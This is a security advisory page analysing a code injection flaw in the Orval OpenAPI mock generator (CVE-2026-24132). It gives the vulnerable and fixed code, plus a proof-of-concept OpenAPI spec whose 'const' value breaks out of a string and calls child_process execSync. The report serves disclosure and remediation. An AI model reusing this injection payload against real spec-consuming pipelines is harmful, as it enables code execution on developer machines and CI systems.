CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-F456-RF33-4626

Mocking the Mocker: RCE in Orval via OpenAPI Injection

Alon Barad
Alon Barad
Software Engineer

Feb 15, 2026·6 min read·24 visits

Executive Summary (TL;DR)

Improper handling of the OpenAPI `const` keyword in Orval allowed for code injection during mock generation. Attackers can execute arbitrary code on developer machines by supplying a malicious schema. Fixed in versions 7.20.0 and 8.0.3.

Orval, a popular tool for generating type-safe clients and mocks from OpenAPI specifications, contained a critical code injection vulnerability. By crafting a malicious OpenAPI schema, an attacker could force the generator to inject arbitrary JavaScript into the output files. This means simply importing a spec and running the generator could lead to Remote Code Execution (RCE) on developer machines and CI/CD pipelines.

The Hook: Trusting the Spec

In the modern web development stack, we love automation. We love tools that take a boring configuration file and spit out thousands of lines of boilerplate code so we don't have to. Orval is one of the heavy hitters in this space, specifically for the React/Vue/Svelte ecosystem. You feed it an OpenAPI specification (Swagger), and it generates type-safe query hooks and, crucially for this story, mock service worker (MSW) handlers.

The premise is simple: If your backend team defines the API structure, your frontend team shouldn't have to manually write mocks for testing. Orval reads the schema and generates TypeScript files containing fake data that matches the types.

But here is the catch: Code generators are effectively compilers. They take input (source) and produce executable output (target). If the compiler is naive about the input, it creates a bridge for an attacker to write directly into your codebase. In CVE-2026-24132, that bridge was the seemingly innocent const keyword in the OpenAPI spec.

The Flaw: String Interpolation Hell

The vulnerability lived in packages/mock/src/faker/getters/scalar.ts, inside a function named getMockScalar. This function is responsible for generating a mock value for simple types (strings, numbers, booleans) when the OpenAPI schema defines a specific constant value.

For example, if your schema says a field status must always be "success", Orval wants to generate TypeScript code that sets that property to "success". Ideally, you would do this by serializing the value safely. Orval, however, opted for the "trust me, I'm an engineer" approach of manual string concatenation.

When handling string types, the code effectively did this:

value = `'${item.const}'`;

It literally wrapped the input in single quotes and called it a day. For numbers and booleans, it just concatenated them directly. This is the code generation equivalent of SQL injection. The developer assumed item.const would be a benign string like "hello" or "user". They didn't anticipate that item.const might be a snippet of JavaScript designed to break out of that single-quote prison.

The Code: Before and After

Let's look at the smoking gun. This diff shows exactly how the vulnerability was patched. The original code was trying to manually format the output string, which is almost always a security suicide mission when dealing with user-supplied input.

Vulnerable Code (The "Before"):

// packages/mock/src/faker/getters/scalar.ts
 
if (item.const) {
  if (isString) {
    // 🚨 DANGER: Direct interpolation
    return `'${item.const}'`;
  }
  // 🚨 DANGER: Direct concatenation for other types
  return '' + item.const;
}

Fixed Code (The "After"):

// packages/mock/src/faker/getters/scalar.ts
 
if (item.const) {
  // ✅ SAFE: Let JSON.stringify handle escaping
  return JSON.stringify(item.const);
}

The fix is elegantly simple: JSON.stringify(). This standard function handles quoting, escaping special characters (like newlines or existing quotes), and ensures the output is a valid JavaScript literal. If you pass it a string containing a quote, it escapes it (\"). If you pass it a number, it stays a number. The vulnerability existed solely because the generator tried to reinvent the wheel of serialization.

The Exploit: Breaking Out

So, how do we turn a bad string concatenation into Remote Code Execution? We need to provide an OpenAPI specification where a const value breaks the JavaScript syntax of the generated file.

Imagine an attacker convinces a developer to use a malicious openapi.yaml. Maybe it's a pull request to a shared repo, or a compromised remote spec URL.

The Malicious Spec:

openapi: 3.0.0
info:
  title: Pwned API
  version: 1.0.0
paths: {}
components:
  schemas:
    TrojanHorse:
      type: object
      properties:
        status:
          type: string
          # The Injection Payload:
          const: "'); require('child_process').execSync('calc'); //"

The Generated Code:

When Orval runs, it takes that const string and wraps it in quotes. The resulting TypeScript file looks like this:

export const getTrojanHorseMock = () => ({
  // The generated line:
  status: ''); require('child_process').execSync('calc'); //'
});

Let's break that down:

  1. status: ' starts the string assignment.
  2. '); closes the string and the object definition immediately.
  3. require('child_process').execSync('calc'); executes the attacker's command (popping a calculator, or stealing SSH keys).
  4. //' comments out the trailing quote that Orval added, preventing a syntax error.

The next time the developer runs their tests or starts their mock server, the code executes. Game over.

The Impact: Why Panic?

This isn't a vulnerability in the production application; it's a vulnerability in the development lifecycle. This is arguably more dangerous because developer machines often have elevated privileges: SSH keys to production, AWS credentials in ~/.aws/credentials, and write access to the source code repo.

Furthermore, this attack works beautifully in CI/CD pipelines. If your pipeline creates a build environment, pulls the latest specs, generates the client/mocks, and runs tests, the attacker has achieved code execution inside your build agent. They can dump environment variables (secrets) and send them to a remote server before the build even fails.

Because this happens at generation time (or rather, execution-of-generated-code time), standard application firewalls (WAFs) protecting your production API won't save you here. The attack payload enters via a YAML file, not an HTTP request to your app.

The Fix: JSON.stringify Everything

The remediation is straightforward: Update Orval. If you are on the v7 branch, move to 7.20.0. If you are living on the edge with v8, update to 8.0.3.

If you cannot update immediately, you must strictly validate the OpenAPI specifications you consume. Do not pull specs from untrusted URLs or allow external contributors to modify the spec file without manual review of the const fields.

For tool authors reading this: Never build code by concatenating strings. Always use an Abstract Syntax Tree (AST) builder (like ts-morph or babel/types) or, at the very least, standard serialization functions like JSON.stringify to generate literals. Code generation is hard; secure code generation is harder.

Official Patches

GitHubPatch for version 8.x
GitHubPatch for version 7.x

Fix Analysis (2)

Technical Appendix

CVSS Score
7.7/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.09%
Top 74% most exploited

Affected Systems

Developer WorkstationsCI/CD PipelinesTest Environments running Orval mocks

Affected Versions Detail

Product
Affected Versions
Fixed Version
orval
orval-labs
<= 7.19.07.20.0
orval
orval-labs
>= 8.0.0-rc.0, <= 8.0.28.0.3
AttributeDetail
CWE IDCWE-94 (Improper Control of Generation of Code)
CVSS v4.07.7 (High)
Attack VectorNetwork (Malicious Spec File)
ImpactRemote Code Execution (RCE)
Affected Component@orval/mock (getMockScalar)
Exploit StatusProof-of-Concept Available

MITRE ATT&CK Mapping

T1195Supply Chain Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The product constructs code using externally-influenced input without properly neutralizing special elements that could modify the syntax or behavior of the generated code.

Known Exploits & Detection

GitHub AdvisoryPrimary disclosure containing the PoC payload methodology.

Vulnerability Timeline

Vulnerability Reported and Fixed in PRs
2026-01-22
CVE-2026-24132 Published
2026-01-23
Patched versions 7.20.0 and 8.0.3 Released
2026-01-23

References & Sources

  • [1]GHSA-f456-rf33-4626 Advisory
  • [2]NVD CVE-2026-24132
Related Vulnerabilities
CVE-2026-24132

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 8 hours ago•CVE-2026-39922
6.3

CVE-2026-39922: Server-Side Request Forgery in GeoNode Service Registration Endpoint

GeoNode versions prior to 4.4.5 and 5.0.2 are vulnerable to Server-Side Request Forgery (SSRF) in the service registration endpoint. Authenticated attackers with low privileges can exploit insufficient input validation in the Web Map Service (WMS) registration module to force the application server to make outbound network queries to loopback addresses, private RFC1918 subnets, link-local scopes, and cloud metadata endpoints. This technical report details the mechanics of the vulnerability, the underlying architectural flaw, and how to effectively remediate and mitigate the associated security risks.

Alon Barad
Alon Barad
4 views•7 min read
•about 17 hours ago•CVE-2022-0492
7.8

CVE-2022-0492: Privilege Escalation and Container Escape via cgroups v1 release_agent

CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.

Amit Schendel
Amit Schendel
8 views•7 min read
•2 days ago•GHSA-G72G-R7M4-9X4G
6.3

GHSA-G72G-R7M4-9X4G: Insufficient Session Expiration of OAuth Tokens in NocoDB

NocoDB is subject to an insufficient session expiration vulnerability where OAuth access and refresh tokens are not invalidated or revoked during security-sensitive actions such as password changes, forgot-password requests, or password resets. This allows an attacker possessing an active OAuth token to maintain unauthorized persistence.

Amit Schendel
Amit Schendel
10 views•6 min read
•3 days ago•GHSA-FGMC-2HQJ-86V4
6.9

GHSA-FGMC-2HQJ-86V4: Default Administrative Credentials in vantage6-server

A vulnerability in the vantage6 federated learning framework allows unauthenticated remote attackers to gain administrative control of the server via hardcoded default credentials (root/root) when deployed under default configurations in versions 4.2.3 and below.

Amit Schendel
Amit Schendel
8 views•5 min read
•3 days ago•GHSA-X9F6-9RVM-MMRG
6.9

GHSA-X9F6-9RVM-MMRG: Improper Access Control and Volume Mount Isolation Bypass in vantage6 Node

An improper access control vulnerability in the vantage6 node component allows concurrently running algorithm containers to read and modify sensitive input and output files of other tasks. The lack of strict workspace directory isolation exposes a significant attack surface in multi-tenant or federated environments where untrusted algorithms are executed.

Amit Schendel
Amit Schendel
3 views•4 min read
•3 days ago•CVE-2026-47760
8.7

CVE-2026-47760: Cross-Site Scripting (XSS) via SVG Namespace Sanitizer Bypass in TinyMCE

TinyMCE versions 6.8.0 through 7.0.1 contain a high-severity Cross-Site Scripting (XSS) vulnerability. The flaw exists in the custom HTML parser and sanitizer module, which incorrectly manages SVG namespace scopes when parsing nested elements. A low-privileged or unauthenticated attacker can submit a crafted HTML payload containing nested SVG structures to bypass sanitization filters, leading to arbitrary JavaScript execution in the context of the victim's browser session.

Alon Barad
Alon Barad
30 views•7 min read